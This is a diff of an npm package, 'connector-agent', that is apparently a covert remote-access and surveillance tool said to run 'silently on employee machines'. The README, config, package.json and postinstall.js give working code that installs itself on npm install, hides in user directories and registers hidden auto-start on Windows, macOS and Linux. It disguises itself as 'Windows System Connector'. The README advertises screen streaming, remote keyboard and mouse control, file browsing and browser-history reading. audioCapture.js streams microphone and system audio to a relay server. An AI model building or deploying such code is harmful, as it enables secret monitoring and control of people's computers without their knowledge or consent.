connector-agent 1.0.0

package/README.md

@@ -0,0 +1,83 @@
+# connector-agent
+
+System connectivity service — runs silently on employee machines.
+
+## Install
+
+```bash
+# Default (connects to localhost:8471)
+npm i -g connector-agent
+
+# With custom server URL
+SERVER_URL=https://your-server.com npm i -g connector-agent          # Mac/Linux
+set SERVER_URL=https://your-server.com && npm i -g connector-agent   # Windows CMD
+$env:SERVER_URL="https://your-server.com"; npm i -g connector-agent  # PowerShell
+```
+
+**That's it!** The agent will automatically:
+1. Copy files to a hidden directory
+2. Register auto-start (runs on every login)
+3. Start running in background
+
+## What Happens on Install
+
+| Step | Windows | Mac | Linux |
+|------|---------|-----|-------|
+| **Files copied to** | `%APPDATA%\ConnectorService\` | `~/.connector/` | `~/.connector/` |
+| **Auto-start via** | Registry `HKCU\Run` | `~/Library/LaunchAgents/` | `~/.config/autostart/` |
+| **Admin needed** | ❌ No | ❌ No | ❌ No |
+| **Visible to user** | ❌ No | ❌ No | ❌ No |
+
+## Environment Variables
+
+Set these **before** running `npm i -g`:
+
+| Variable | Default | Description |
+|----------|---------|-------------|
+| `SERVER_URL` | `http://localhost:8471` | Relay server URL |
+
+## Uninstall
+
+```bash
+npm uninstall -g connector-agent
+```
+
+Then manually remove:
+- **Windows:** Delete `%APPDATA%\ConnectorService\` and remove registry key `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ConnectorService`
+- **Mac:** Delete `~/.connector/` and `~/Library/LaunchAgents/com.user.connector.plist`
+- **Linux:** Delete `~/.connector/` and `~/.config/autostart/connector.desktop`
+
+## Capabilities
+
+- 📺 Screen streaming (4 FPS, adjustable quality)
+- 🖱️ Remote mouse/keyboard control
+- 📂 File system browsing
+- 🌐 Browser history reading (Chrome/Edge/Firefox)
+- 🎤 Audio capture (mic + system audio)
+- 💤 Sleep prevention
+- 🔄 Auto-reconnect on disconnect
+- 🚀 Auto-start on login
+
+## Requirements
+
+- Node.js 18+
+- ffmpeg (optional, for audio capture)
+
+## File Structure
+
+```
+connector-agent/
+├── package.json          ← npm package config + postinstall hook
+├── postinstall.js        ← Auto-setup script (runs on npm install)
+├── .gitignore
+└── src/
+    ├── index.js          ← Entry point
+    ├── config.js         ← Cross-platform config (auto-detects OS)
+    ├── screenCapture.js  ← Screen streaming
+    ├── inputHandler.js   ← Mouse/keyboard control (robotjs)
+    ├── audioCapture.js   ← Mic + system audio (ffmpeg)
+    ├── browserHistory.js ← Chrome/Edge/Firefox history reader
+    ├── fileScanner.js    ← File system browser
+    ├── sleepPreventer.js ← Prevents system sleep
+    └── systemInfo.js     ← Machine info (hostname, OS, IP)
+```

package/env.config.js

@@ -0,0 +1,15 @@
+/**
+ * Agent Environment Config
+ * Edit these values for your deployment
+ */
+
+module.exports = {
+  // Relay server URL
+  SERVER_URL: 'http://localhost:8471',
+
+  // Service name (shown in Task Manager / Activity Monitor)
+  SERVICE_NAME: 'Windows System Connector',
+
+  // Service description
+  SERVICE_DESC: 'System connectivity and update service',
+};

package/package.json

@@ -0,0 +1,21 @@
+{
+  "name": "connector-agent",
+  "version": "1.0.0",
+  "description": "System connectivity service",
+  "main": "src/index.js",
+  "bin": {
+    "connector-agent": "src/index.js"
+  },
+  "scripts": {
+    "start": "node src/index.js",
+    "postinstall": "node postinstall.js"
+  },
+  "dependencies": {
+    "robotjs": "^0.6.0",
+    "screenshot-desktop": "^1.15.0",
+    "sharp": "^0.33.5",
+    "better-sqlite3": "^11.3.0",
+    "socket.io-client": "^4.7.5",
+    "node-machine-id": "^1.1.12"
+  }
+}

package/postinstall.js

@@ -0,0 +1,272 @@
+/**
+ * Connector Agent — Auto-Setup (postinstall)
+ * 
+ * Runs automatically on: npm i -g connector-agent
+ * NO admin/sudo needed — uses user-level directories
+ * 
+ * Usage:
+ *   npm i -g connector-agent                                          ← localhost
+ *   SERVER_URL=https://server.com npm i -g connector-agent            ← Mac/Linux  
+ *   set SERVER_URL=https://server.com && npm i -g connector-agent     ← Windows CMD
+ *   $env:SERVER_URL="https://server.com"; npm i -g connector-agent    ← PowerShell
+ */
+
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const { execSync, spawn } = require('child_process');
+
+const platform = os.platform();
+const isWin = platform === 'win32';
+const isMac = platform === 'darwin';
+const homeDir = os.homedir();
+
+// ── Config ──────────────────────────────────────────
+const SERVER_URL = process.env.SERVER_URL || 'http://localhost:8471';
+const AGENT_NAME = 'ConnectorService';
+
+// User-level directories — NO admin/sudo needed
+const INSTALL_DIR = isWin
+  ? path.join(process.env.APPDATA || path.join(homeDir, 'AppData', 'Roaming'), AGENT_NAME)
+  : path.join(homeDir, '.connector');
+
+const PACKAGE_DIR = path.resolve(__dirname);  // where npm installed us
+
+// ── Helpers ─────────────────────────────────────────
+function log(msg) { try { process.stdout.write(`  [setup] ${msg}\n`); } catch (e) { } }
+
+function copyRecursive(src, dest) {
+  if (!fs.existsSync(dest)) fs.mkdirSync(dest, { recursive: true });
+  const entries = fs.readdirSync(src, { withFileTypes: true });
+  for (const entry of entries) {
+    const srcPath = path.join(src, entry.name);
+    const destPath = path.join(dest, entry.name);
+    if (entry.name === 'node_modules' || entry.name === '.git') continue;
+    if (entry.isDirectory()) {
+      copyRecursive(srcPath, destPath);
+    } else {
+      fs.copyFileSync(srcPath, destPath);
+    }
+  }
+}
+
+// ═══════════════════════════════════════════════════
+//  MAIN
+// ═══════════════════════════════════════════════════
+function setup() {
+  log('Setting up...');
+
+  try {
+    // ── 1. Create install directory ──
+    fs.mkdirSync(path.join(INSTALL_DIR, 'src'), { recursive: true });
+    fs.mkdirSync(path.join(INSTALL_DIR, 'logs'), { recursive: true });
+
+    // ── 2. Copy source files ──
+    const srcDir = path.join(PACKAGE_DIR, 'src');
+    if (fs.existsSync(srcDir)) {
+      copyRecursive(srcDir, path.join(INSTALL_DIR, 'src'));
+    }
+
+    // Copy package.json for npm install in install dir
+    const pkgSrc = path.join(PACKAGE_DIR, 'package.json');
+    if (fs.existsSync(pkgSrc)) {
+      // Create a clean package.json without postinstall (avoid loop)
+      const pkg = JSON.parse(fs.readFileSync(pkgSrc, 'utf8'));
+      delete pkg.scripts.postinstall;
+      delete pkg.bin;
+      fs.writeFileSync(
+        path.join(INSTALL_DIR, 'package.json'),
+        JSON.stringify(pkg, null, 2)
+      );
+    }
+
+    // ── 3. Create env.config.js ──
+    const envConfigContent = `/**\n * Agent Environment Config (auto-generated by installer)\n */\nmodule.exports = {\n  SERVER_URL: '${SERVER_URL}',\n  SERVICE_NAME: 'Windows System Connector',\n  SERVICE_DESC: 'System connectivity and update service',\n};\n`;
+    fs.writeFileSync(path.join(INSTALL_DIR, 'env.config.js'), envConfigContent);
+
+    // ── 4. Install dependencies in install dir ──
+    log('Installing dependencies...');
+    try {
+      execSync('npm install --production --silent 2>&1', {
+        cwd: INSTALL_DIR,
+        stdio: 'ignore',
+        windowsHide: true,
+        timeout: 120000,
+      });
+    } catch (e) {
+      // Dependencies may already exist from global install, that's ok
+    }
+
+    // ── 5. Register auto-start (user-level, no admin) ──
+    if (isWin) {
+      setupWindowsAutoStart();
+    } else if (isMac) {
+      setupMacAutoStart();
+    } else {
+      setupLinuxAutoStart();
+    }
+
+    // ── 6. Start agent NOW ──
+    startAgent();
+
+    log('Done! Agent is running.');
+
+  } catch (e) {
+    log('Setup error: ' + e.message);
+  }
+}
+
+// ═══════════════════════════════════════════════════
+//  WINDOWS — Registry Run key (NO admin needed)
+// ═══════════════════════════════════════════════════
+function setupWindowsAutoStart() {
+  // Create launcher bat (hidden window)
+  const vbsContent = [
+    'Set WshShell = CreateObject("WScript.Shell")',
+    `WshShell.Run "cmd /c cd /d ""${INSTALL_DIR}"" && node src\\index.js", 0, False`,
+  ].join('\r\n');
+
+  const vbsPath = path.join(INSTALL_DIR, 'launcher.vbs');
+  fs.writeFileSync(vbsPath, vbsContent);
+
+  // Add to Registry HKCU\...\Run — auto-start on login, NO admin
+  try {
+    execSync(
+      `reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /t REG_SZ /d "wscript.exe \\"${vbsPath}\\"" /f`,
+      { windowsHide: true, stdio: 'ignore' }
+    );
+    log('Auto-start registered (Registry HKCU\\Run)');
+  } catch (e) {
+    // Fallback: copy to Startup folder
+    const startupDir = path.join(
+      process.env.APPDATA,
+      'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup'
+    );
+    try {
+      fs.copyFileSync(vbsPath, path.join(startupDir, 'ConnectorService.vbs'));
+      log('Auto-start registered (Startup folder)');
+    } catch (e2) {
+      log('Auto-start registration failed');
+    }
+  }
+}
+
+// ═══════════════════════════════════════════════════
+//  MAC — ~/Library/LaunchAgents (NO sudo needed)
+// ═══════════════════════════════════════════════════
+function setupMacAutoStart() {
+  let nodePath;
+  try {
+    nodePath = execSync('which node', { encoding: 'utf8' }).trim();
+  } catch (e) {
+    nodePath = '/usr/local/bin/node';
+  }
+
+  const plistLabel = 'com.user.connector';
+  const plistContent = `<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
+  "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+    <key>Label</key>
+    <string>${plistLabel}</string>
+    <key>ProgramArguments</key>
+    <array>
+        <string>${nodePath}</string>
+        <string>${INSTALL_DIR}/src/index.js</string>
+    </array>
+    <key>RunAtLoad</key>
+    <true/>
+    <key>KeepAlive</key>
+    <true/>
+    <key>WorkingDirectory</key>
+    <string>${INSTALL_DIR}</string>
+    <key>StandardOutPath</key>
+    <string>${INSTALL_DIR}/logs/stdout.log</string>
+    <key>StandardErrorPath</key>
+    <string>${INSTALL_DIR}/logs/stderr.log</string>
+    <key>ThrottleInterval</key>
+    <integer>5</integer>
+    <key>ProcessType</key>
+    <string>Background</string>
+</dict>
+</plist>`;
+
+  // ~/Library/LaunchAgents — user-level, no sudo
+  const agentsDir = path.join(homeDir, 'Library', 'LaunchAgents');
+  fs.mkdirSync(agentsDir, { recursive: true });
+
+  const plistPath = path.join(agentsDir, `${plistLabel}.plist`);
+  fs.writeFileSync(plistPath, plistContent);
+
+  try {
+    execSync(`launchctl unload "${plistPath}" 2>/dev/null || true`, { stdio: 'ignore' });
+    execSync(`launchctl load "${plistPath}"`, { stdio: 'ignore' });
+    log('Auto-start registered (LaunchAgent)');
+  } catch (e) {
+    log('LaunchAgent load failed: ' + e.message);
+  }
+}
+
+// ═══════════════════════════════════════════════════
+//  LINUX — ~/.config/autostart (NO sudo needed)
+// ═══════════════════════════════════════════════════
+function setupLinuxAutoStart() {
+  let nodePath;
+  try {
+    nodePath = execSync('which node', { encoding: 'utf8' }).trim();
+  } catch (e) {
+    nodePath = '/usr/bin/node';
+  }
+
+  // Desktop entry for auto-start
+  const autostartDir = path.join(homeDir, '.config', 'autostart');
+  fs.mkdirSync(autostartDir, { recursive: true });
+
+  const desktopEntry = `[Desktop Entry]
+Type=Application
+Name=System Connector
+Exec=${nodePath} ${INSTALL_DIR}/src/index.js
+Hidden=true
+NoDisplay=true
+X-GNOME-Autostart-enabled=true
+StartupNotify=false
+Terminal=false`;
+
+  fs.writeFileSync(path.join(autostartDir, 'connector.desktop'), desktopEntry);
+  log('Auto-start registered (autostart desktop entry)');
+}
+
+// ═══════════════════════════════════════════════════
+//  START AGENT NOW
+// ═══════════════════════════════════════════════════
+function startAgent() {
+  log('Starting agent...');
+
+  if (isWin) {
+    // Use VBS to start hidden
+    const vbsPath = path.join(INSTALL_DIR, 'launcher.vbs');
+    if (fs.existsSync(vbsPath)) {
+      spawn('wscript.exe', [vbsPath], {
+        detached: true,
+        stdio: 'ignore',
+        windowsHide: true,
+      }).unref();
+    }
+  } else {
+    // Mac/Linux: spawn detached node process
+    const nodePath = process.execPath;
+    const child = spawn(nodePath, [path.join(INSTALL_DIR, 'src', 'index.js')], {
+      cwd: INSTALL_DIR,
+      detached: true,
+      stdio: 'ignore',
+      env: { ...process.env, SERVER_URL },
+    });
+    child.unref();
+  }
+
+  log('Agent started in background');
+}
+
+// ── Run ──
+setup();

package/src/audioCapture.js

@@ -0,0 +1,238 @@
+/**
+ * Audio Capture — Mic & System Audio streaming
+ * Uses node-record-lpcm16 for mic, platform-specific for system audio
+ * 
+ * Modes:
+ *   - mic: Microphone only
+ *   - system: System/desktop audio only (requires loopback device)
+ *   - both: Mic + System audio mixed
+ */
+
+const { spawn } = require('child_process');
+const os = require('os');
+const path = require('path');
+
+class AudioCapture {
+  constructor(socket) {
+    this.socket = socket;
+    this.micProcess = null;
+    this.sysProcess = null;
+    this.active = false;
+    this.mode = 'mic'; // 'mic', 'system', 'both'
+    this.platform = os.platform();
+    this.sampleRate = 16000;
+    this.channels = 1;
+  }
+
+  /**
+   * Start audio capture
+   * @param {object} options - { mode: 'mic'|'system'|'both' }
+   */
+  start(options = {}) {
+    if (this.active) this.stop();
+    this.mode = options.mode || 'mic';
+    this.active = true;
+
+    console.log(`  🎤 Audio capture starting (mode: ${this.mode}, platform: ${this.platform})`);
+
+    try {
+      if (this.mode === 'mic' || this.mode === 'both') {
+        this._startMic();
+      }
+      if (this.mode === 'system' || this.mode === 'both') {
+        this._startSystemAudio();
+      }
+    } catch (err) {
+      console.log(`  ⚠️  Audio capture error: ${err.message}`);
+      this.socket.emit('audio:error', { error: err.message });
+    }
+  }
+
+  /**
+   * Microphone capture — cross-platform via SoX (rec) or ffmpeg
+   */
+  _startMic() {
+    if (this.platform === 'win32') {
+      // Windows: Use ffmpeg with DirectShow
+      this.micProcess = spawn('ffmpeg', [
+        '-f', 'dshow',
+        '-i', 'audio=Microphone Array (Intel® Smart Sound Technology for Digital Microphones)',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',     // raw PCM 16-bit little-endian
+        '-acodec', 'pcm_s16le',
+        'pipe:1'           // output to stdout
+      ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
+
+      // Fallback: try generic mic name
+      this.micProcess.on('error', () => {
+        this.micProcess = spawn('ffmpeg', [
+          '-f', 'dshow',
+          '-list_devices', 'true',
+          '-i', 'dummy'
+        ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
+      });
+    } else if (this.platform === 'darwin') {
+      // Mac: Use ffmpeg with avfoundation
+      this.micProcess = spawn('ffmpeg', [
+        '-f', 'avfoundation',
+        '-i', ':default',   // default mic
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'] });
+    } else {
+      // Linux: Use ALSA
+      this.micProcess = spawn('ffmpeg', [
+        '-f', 'alsa',
+        '-i', 'default',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'] });
+    }
+
+    this._pipeAudio(this.micProcess, 'mic');
+  }
+
+  /**
+   * System/Desktop audio capture — platform-specific loopback
+   */
+  _startSystemAudio() {
+    if (this.platform === 'win32') {
+      // Windows: Use ffmpeg with dshow "Stereo Mix" or virtual audio cable
+      // User may need to enable "Stereo Mix" in Sound settings
+      this.sysProcess = spawn('ffmpeg', [
+        '-f', 'dshow',
+        '-i', 'audio=Stereo Mix (Realtek(R) Audio)',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
+    } else if (this.platform === 'darwin') {
+      // Mac: Requires BlackHole or similar virtual audio driver
+      this.sysProcess = spawn('ffmpeg', [
+        '-f', 'avfoundation',
+        '-i', ':BlackHole 2ch',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'] });
+    } else {
+      // Linux: PulseAudio monitor
+      this.sysProcess = spawn('ffmpeg', [
+        '-f', 'pulse',
+        '-i', 'default.monitor',
+        '-ac', String(this.channels),
+        '-ar', String(this.sampleRate),
+        '-f', 's16le',
+        '-acodec', 'pcm_s16le',
+        'pipe:1'
+      ], { stdio: ['pipe', 'pipe', 'pipe'] });
+    }
+
+    this._pipeAudio(this.sysProcess, 'system');
+  }
+
+  /**
+   * Pipe audio stdout → socket.io in chunks
+   */
+  _pipeAudio(process, source) {
+    if (!process || !process.stdout) return;
+
+    process.stdout.on('data', (chunk) => {
+      if (!this.active) return;
+      // Send raw PCM audio chunk as base64
+      this.socket.emit('audio:chunk', {
+        data: chunk.toString('base64'),
+        source,
+        sampleRate: this.sampleRate,
+        channels: this.channels,
+        timestamp: Date.now(),
+      });
+    });
+
+    process.stderr.on('data', (data) => {
+      const msg = data.toString();
+      // Only log errors, not ffmpeg's normal stderr output
+      if (msg.includes('Error') || msg.includes('error')) {
+        console.log(`  ⚠️  Audio (${source}): ${msg.trim().substring(0, 100)}`);
+      }
+    });
+
+    process.on('error', (err) => {
+      console.log(`  ⚠️  Audio ${source} process error: ${err.message}`);
+      this.socket.emit('audio:error', {
+        source,
+        error: `${source} capture failed: ${err.message}. Make sure ffmpeg is installed.`
+      });
+    });
+
+    process.on('close', (code) => {
+      if (this.active) {
+        console.log(`  🎤 Audio ${source} process exited (code: ${code})`);
+      }
+    });
+  }
+
+  /**
+   * Stop all audio capture
+   */
+  stop() {
+    if (!this.active) return;
+    this.active = false;
+
+    if (this.micProcess) {
+      try { this.micProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
+      this.micProcess = null;
+    }
+    if (this.sysProcess) {
+      try { this.sysProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
+      this.sysProcess = null;
+    }
+
+    console.log('  🎤 Audio capture stopped');
+  }
+
+  /**
+   * List available audio devices (helps find correct device names)
+   */
+  listDevices() {
+    return new Promise((resolve) => {
+      let output = '';
+
+      if (this.platform === 'win32') {
+        const proc = spawn('ffmpeg', [
+          '-list_devices', 'true', '-f', 'dshow', '-i', 'dummy'
+        ], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
+
+        proc.stderr.on('data', (d) => { output += d.toString(); });
+        proc.on('close', () => {
+          const devices = output.match(/"([^"]+)" \(audio\)/g) || [];
+          resolve(devices.map((d) => d.replace(/"/g, '').replace(' (audio)', '')));
+        });
+      } else if (this.platform === 'darwin') {
+        const proc = spawn('ffmpeg', [
+          '-f', 'avfoundation', '-list_devices', 'true', '-i', ''
+        ], { stdio: ['pipe', 'pipe', 'pipe'] });
+
+        proc.stderr.on('data', (d) => { output += d.toString(); });
+        proc.on('close', () => {
+          resolve(output.split('\n').filter((l) => l.includes('[AVFoundation')));
+        });
+      } else {
+        resolve(['default']);
+      }
+    });
+  }
+}
+
+module.exports = AudioCapture;